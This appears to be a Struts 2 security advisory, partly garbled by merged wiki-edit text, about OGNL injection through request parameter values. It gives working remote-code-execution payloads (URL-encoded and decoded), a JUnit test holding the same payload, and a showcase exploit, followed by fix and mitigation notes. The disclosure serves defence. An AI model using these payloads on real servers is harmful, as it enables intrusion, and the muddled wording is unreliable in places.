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Summary

Problem

OGNL provides, among other features, extensive expression evaluation capabilities. The vulnerability allows a malicious user to inject
A request that included a specially crafted request parameter could be used to inject arbitrary OGNL code into a property, then a further assignment of the property the stack, afterward used as request parameter of an URL Tag , which will cause a further evaluation.

OGNL evaluation was already addressed in S2-003 and S2-005 and S2-009, but, since it involved just the parameter's name, it turned out that the resulting fix fixes based on whitelisting acceptable parameter names and denying evaluation of the expression contained in parameter names, closed the vulnerability only partially. Wiki Markup

This time, there is no way to whitelist parameter value, ----------------------------------------- (to be continue) Regular expression in ParametersInterceptor matches top\['foo'\](0) as a valid expression, which OGNL treats as (top\['foo'\])(0) and evaluates the value of 'foo' action parameter as an OGNL expression. This lets malicious users put arbitrary OGNL statements into any String variable exposed by an action and have it evaluated as an OGNL expression and since OGNL statement is in HTTP parameter value attacker can use blacklisted characters (e.g. #) to disable method execution and execute arbitrary methods, bypassing the ParametersInterceptor and OGNL library The second evaluation happens when redirect result reads it from the stack and uses the previously injected code as redirect parameter.
This lets malicious users put arbitrary OGNL statements into any unsanitized String variable exposed by an action and have it evaluated as an OGNL expression to disable method execution and execute arbitrary methods, bypassing Struts and OGNL library protections.

Proof of concept

public class FooAction {
    private String foo;

    public String execute() {
        return "success";
    }
    public String getFoo() {
        return foo;
    }

    public void setFoo(String foo) {
        this.foo = foo;
    }
}

Here's an actual decoded example, which will create /tmp/PWNAGE directory:

/action?foo=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWNAGE'))(meh)&z[(foo)('meh')]=true

encoded version:

/action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27mkdir%20/tmp/PWNAGE%27%29%29%28meh%29&z[%28foo%29%28%27meh%27%29]=true

And the JUnit version

public class FooActionTest extends org.apache.struts2.StrutsJUnit4TestCase<FooAction> {
    @Test
    public void testExecute() throws Exception {
        request.setParameter("foo", "(#context[\"xwork.MethodAccessor.denyMethodExecution\"]= new " +
                "java.lang.Boolean(false), #_memberAccess[\"allowStaticMethodAccess\"]= new java.lang.Boolean(true), " +
                "@java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWNAGE'))(meh)");

        request.setParameter("top['foo'](0)", "true");

        String res = this.executeAction("/example/foo.action");
        FooAction action = this.getAction();

        File pwn = new File("/tmp/PWNAGE");
        Assert.assertFalse("Remote exploit: The PWN folder has been created", pwn.exists());
    }
}

Solution

1. Run struts2-showcase
2. Open url: http://localhost:8080/struts2-showcase/skill/edit.action?skillName=SPRING-DEV^{Image Added}
3. write skill name to %{expr} for example:

   Code Block
   %{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false) #hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}

4. submit the form

The issue, in order to work, need a redirect result defined as the following:

<action name="save" class="org.apache.struts2.showcase.action.SkillAction" method="save">
    <result type="redirect">edit.action?skillName=${currentSkill.name}</result>
</action>

Solution

The OGNLUtil class was changed to deny eval expressions by defaultThe regex pattern inside the ParameterInterceptor was changed to provide a more narrow space of acceptable parameter names.
Furthermore the new setParameter method provided by the value stack will allow no more eval expression inside the param names.

In case an upgrade isn't possible in a particular environment, there is a configuration based mitigation workaround:

Possible Mitigation Workaround: Configure ParametersIntercptor in struts.xml to Exclude Malicious Parameters

The following additional interceptor-ref configuration should mitigate the problem when applied correctly, allowing only simple navigational expression:

<interceptor-ref name="params">
	<param name="acceptParamNames">\w+((\.\w+)|(\[\d+\])|(\['\w+'\]))*</param>
</interceptor-ref>